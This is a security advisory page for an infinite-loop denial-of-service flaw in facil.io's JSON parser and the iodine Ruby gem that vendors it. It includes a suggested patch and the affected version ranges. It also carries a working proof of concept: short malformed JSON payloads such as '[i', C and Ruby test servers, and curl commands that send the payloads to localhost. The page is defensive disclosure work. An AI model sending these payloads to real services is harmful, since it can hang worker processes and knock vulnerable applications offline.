GHSA-2x79-gwq3-vxxm

Suggest an improvement
Source
https://github.com/advisories/GHSA-2x79-gwq3-vxxm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-2x79-gwq3-vxxm/GHSA-2x79-gwq3-vxxm.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-2x79-gwq3-vxxm
Aliases
Published
2026-04-14T23:41:06Z
Modified
2026-06-08T23:30:14Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem
Details

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

  • facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
  • iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
  • iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

  1. Inside an array or object, the parser sees i or I and jumps to the numeral: label.
  2. It calls fio_atol((char **)&tmp).
  3. For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
  4. The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
  5. JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
  6. Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

  1. The parser accepts the empty string "" as the first array element.
  2. It does not require a comma before the next token.
  3. The trailing i is then parsed as a new nested value.
  4. The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

  • Array form, minimal: [i
  • Object form: {"a":i
  • After a quoted value in an array: [""i
  • After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

  • facil.io commit: 162df84001d66789efa883eebb0567426d00148e
  • iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
  • standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

  • The server prints calling http_parse_body and never reaches returned from http_parse_body.
  • The request never completes.
  • One worker thread spins until the process is killed.

Downstream impact in iodine

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

  • Availability impact: high for affected parser entry points
  • Confidentiality impact: none observed
  • Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

  • ext/iodine/fio_json_parser.h

Impact

  • facil.io
    • Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
    • Verified on tagged releases 0.7.5 and 0.7.6
  • iodine Ruby gem
    • Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
    • Verified on tag / gem version v0.7.58
    • The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h
Database specific
{
    "cwe_ids":  [
        "CWE-400",
        "CWE-835"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-14T23:41:06Z",
    "nvd_published_at":  "2026-04-22T02:16:02Z",
    "severity":  "HIGH"
}
References

Affected packages

RubyGems / iodine

Package

Name
iodine
Purl
pkg:gem/iodine

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
0.7.58

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.11
0.1.12
0.1.13
0.1.14
0.1.15
0.1.16
0.1.17
0.1.18
0.1.19
0.1.20
0.1.21
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.5
0.2.6
0.2.7
0.2.8
0.2.9
0.2.10
0.2.11
0.2.12
0.2.13
0.2.14
0.2.15
0.2.16
0.2.17
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.3.6
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.6
0.4.7
0.4.8
0.4.10
0.4.11
0.4.12
0.4.14
0.4.15
0.4.16
0.4.17
0.4.18
0.4.19
0.5.0
0.5.1
0.5.2
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.7.5
0.7.6
0.7.7
0.7.8
0.7.9
0.7.10
0.7.11
0.7.12
0.7.13
0.7.14
0.7.15
0.7.16
0.7.17
0.7.18
0.7.19
0.7.20
0.7.21
0.7.22
0.7.23
0.7.24
0.7.25
0.7.26
0.7.27
0.7.28
0.7.29
0.7.31
0.7.32
0.7.33
0.7.34
0.7.35
0.7.36
0.7.37
0.7.38
0.7.39
0.7.40
0.7.41
0.7.42
0.7.43
0.7.44
0.7.45
0.7.46
0.7.47
0.7.48
0.7.49
0.7.50
0.7.51
0.7.52
0.7.53
0.7.54
0.7.55
0.7.56
0.7.57
0.7.58

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-2x79-gwq3-vxxm/GHSA-2x79-gwq3-vxxm.json"